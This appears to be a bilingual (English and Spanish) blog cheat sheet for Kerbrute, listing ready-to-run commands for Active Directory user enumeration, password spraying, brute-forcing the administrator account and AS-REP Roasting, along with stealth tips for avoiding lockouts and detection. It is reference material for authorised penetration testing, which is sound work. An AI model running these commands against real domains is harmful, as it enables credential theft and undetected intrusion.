Kerbrute | The Hack Sparrow

Kerbrute is a tool written in Go for enumerating Active Directory users and performing password spraying by abusing the Kerberos protocol. Instead of authenticating against SMB or LDAP, it sends AS-REQ requests to the Domain Controller: if a user exists but the password is wrong, the KDC responds differently than when the user does not exist, which lets you tell valid accounts apart without generating a conventional failed logon.

The key nuance is that enumeration with userenum is pre-authentication: it does not count as a failed login attempt, so it neither increments the lockout counter nor typically generates event 4625. Spraying, on the other hand, DOES consume attempts: that is why it matters to know the Account Lockout Policy and to use --safe and --delay to avoid locking out accounts and giving away your presence.

1. Beginner level — enumerate and spray

Command	What it does
`kerbrute userenum -d dom.local users.txt`	Enumerates valid users via Kerberos
`kerbrute userenum -d dom.local --dc <ip> users.txt`	Specifies the Domain Controller
`kerbrute passwordspray -d dom.local users.txt Verano24`	Password spraying with a single password
`kerbrute bruteuser -d dom.local pass.txt jdoe`	Brute-forces passwords against one user
`kerbrute bruteforce -d dom.local combos.txt`	Tests username:password pairs
`kerbrute userenum -d dom.local -t 50 users.txt`	Adjusts the number of threads
`kerbrute userenum -d dom.local -o valid.txt users.txt`	Saves the results to a file
`kerbrute userenum -d dom.local -v users.txt`	Verbose mode (also shows failures)
`kerbrute passwordspray -d dom.local --dc <ip> users.txt Pass`	Spray while specifying the DC
`kerbrute userenum --domain dom.local users.txt`	Long form of -d
`kerbrute passwordspray -d dom.local users.txt Pass1 --delay 200`	Delay between attempts (ms)
`kerbrute -h`	Shows the general help
`kerbrute version`	Shows the installed version
`kerbrute userenum -d dom.local users.txt \| grep VALID`	Filters only the valid users

2. Advanced level — opsec and chaining

Command	What it does
`kerbrute passwordspray -d dom.local --safe users.txt Pass`	Stops at the first lockout (avoids lockouts)
`kerbrute passwordspray -d dom.local -t 1 --delay 1000 users.txt Pass`	Single thread + delay (opsec)
`kerbrute bruteforce -d dom.local -`	Reads username:password combos from stdin
`cat combos.txt \| kerbrute bruteforce -d dom.local -`	Chains via pipe from stdin
`kerbrute passwordspray --dc dc01.dom.local -d dom.local users.txt Pass`	DC by FQDN (Kerberos)
`kerbrute userenum -d dom.local seclists-users.txt`	Uses a large SecLists wordlist
`kerbrute passwordspray -d dom.local users.txt 'Empresa1!' -o hits.txt`	Saves only the hits
`kerbrute bruteuser -d dom.local rockyou.txt administrator`	Brute-forces the administrator
`kerbrute userenum -d dom.local users.txt --dc <ip> -t 10`	Thread-controlled enum against a DC
`kerbrute passwordspray -d dom.local users.txt Invierno24 --safe --delay 500`	Full stealth spray
`kerbrute userenum -d dom.local users.txt 2>/dev/null`	Silences network errors
`kerbrute passwordspray -d dom.local users.txt Pass \| grep +`	Filters valid credentials
`kerbrute userenum -d dom.local users.txt -o -`	Writes results to stdout
`GetNPUsers.py dom/ -usersfile valid.txt`	Chains with Impacket for AS-REP Roasting

3. Details people miss

userenum does not lock accounts, spraying does. Enumerating users is pre-auth and does not increment the failure counter; the moment you test passwords with passwordspray or bruteuser you consume real attempts.
Before spraying, find out the domain's Account Lockout Policy and use --safe: it stops as soon as it detects the first lockout and avoids locking out half of Active Directory.
Kerbrute needs to reach the KDC on the Domain Controller's port 88/tcp. If DNS resolution fails, point to the DC manually with --dc; for tickets by FQDN use the full name, not the IP.
Watch the clock: Kerberos rejects requests skewed by more than 5 minutes (KRB_AP_ERR_SKEW). Sync your time with the DC's (for example with ntpdate) before you start.
Kerbrute does not crack hashes: the valid accounts it produces (-o valid.txt) are the raw material for chaining with Impacket's GetNPUsers.py to perform AS-REP Roasting.

Responsible use

These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.

Kerbrute es una herramienta escrita en Go para enumerar usuarios de Active Directory y realizar password spraying abusando del protocolo Kerberos. En lugar de autenticarse contra SMB o LDAP, envía peticiones AS-REQ al Domain Controller: si un usuario existe pero la contraseña es incorrecta, el KDC responde distinto que si el usuario no existe, lo que permite distinguir cuentas válidas sin generar un logon fallido convencional.

El matiz clave es que la enumeración con userenum es pre-autenticación: no cuenta como un intento de login fallido, así que no incrementa el contador de bloqueo ni suele generar el evento 4625. El spraying, en cambio, SÍ consume intentos: por eso importa conocer la Account Lockout Policy y usar --safe y --delay para no bloquear cuentas y delatar tu presencia.

1. Nivel principiante — enumerar y rociar

Comando	Qué hace
`kerbrute userenum -d dom.local users.txt`	Enumera usuarios válidos vía Kerberos
`kerbrute userenum -d dom.local --dc <ip> users.txt`	Indica el Domain Controller
`kerbrute passwordspray -d dom.local users.txt Verano24`	Password spraying con una contraseña
`kerbrute bruteuser -d dom.local pass.txt jdoe`	Fuerza bruta de contraseñas a un usuario
`kerbrute bruteforce -d dom.local combos.txt`	Prueba pares usuario:contraseña
`kerbrute userenum -d dom.local -t 50 users.txt`	Ajusta el número de hilos
`kerbrute userenum -d dom.local -o valid.txt users.txt`	Guarda los resultados en un archivo
`kerbrute userenum -d dom.local -v users.txt`	Modo detallado (muestra también fallos)
`kerbrute passwordspray -d dom.local --dc <ip> users.txt Pass`	Spray indicando el DC
`kerbrute userenum --domain dom.local users.txt`	Forma larga de -d
`kerbrute passwordspray -d dom.local users.txt Pass1 --delay 200`	Retardo entre intentos (ms)
`kerbrute -h`	Muestra la ayuda general
`kerbrute version`	Muestra la versión instalada
`kerbrute userenum -d dom.local users.txt \| grep VALID`	Filtra solo los usuarios válidos

2. Nivel avanzado — opsec y encadenado

Comando	Qué hace
`kerbrute passwordspray -d dom.local --safe users.txt Pass`	Para al primer lockout (evita bloqueos)
`kerbrute passwordspray -d dom.local -t 1 --delay 1000 users.txt Pass`	Un hilo + retardo (opsec)
`kerbrute bruteforce -d dom.local -`	Lee combos usuario:contraseña por stdin
`cat combos.txt \| kerbrute bruteforce -d dom.local -`	Encadena por pipe desde stdin
`kerbrute passwordspray --dc dc01.dom.local -d dom.local users.txt Pass`	DC por FQDN (Kerberos)
`kerbrute userenum -d dom.local seclists-users.txt`	Usa una wordlist grande de SecLists
`kerbrute passwordspray -d dom.local users.txt 'Empresa1!' -o hits.txt`	Guarda solo los aciertos
`kerbrute bruteuser -d dom.local rockyou.txt administrator`	Fuerza bruta al administrator
`kerbrute userenum -d dom.local users.txt --dc <ip> -t 10`	Enum controlado por hilos contra un DC
`kerbrute passwordspray -d dom.local users.txt Invierno24 --safe --delay 500`	Spray sigiloso completo
`kerbrute userenum -d dom.local users.txt 2>/dev/null`	Silencia errores de red
`kerbrute passwordspray -d dom.local users.txt Pass \| grep +`	Filtra credenciales válidas
`kerbrute userenum -d dom.local users.txt -o -`	Escribe resultados por stdout
`GetNPUsers.py dom/ -usersfile valid.txt`	Encadena con Impacket para AS-REP Roasting

3. Detalles que se pasan por alto

userenum no bloquea cuentas, spraying sí. Enumerar usuarios es pre-auth y no incrementa el contador de fallos; en el momento en que pruebas contraseñas con passwordspray o bruteuser consumes intentos reales.
Antes de rociar, averigua la Account Lockout Policy del dominio y usa --safe: para en cuanto detecta el primer lockout y evita bloquear medio Active Directory.
Kerbrute necesita alcanzar el KDC por el puerto 88/tcp del Domain Controller. Si la resolución DNS falla, indica el DC a mano con --dc; para tickets por FQDN usa el nombre completo, no la IP.
Vigila el reloj: Kerberos rechaza peticiones con más de 5 minutos de desfase (KRB_AP_ERR_SKEW). Sincroniza tu hora con la del DC (por ejemplo con ntpdate) antes de empezar.
Kerbrute no crackea hashes: las cuentas válidas que saca (-o valid.txt) son la materia prima para encadenar con GetNPUsers.py de Impacket y hacer AS-REP Roasting.

Uso responsable

Estos comandos son para entornos propios o con autorización explícita por escrito (laboratorios, CTF, auditorías contratadas). Usarlos contra infraestructura ajena sin permiso es ilegal en la mayoría de países.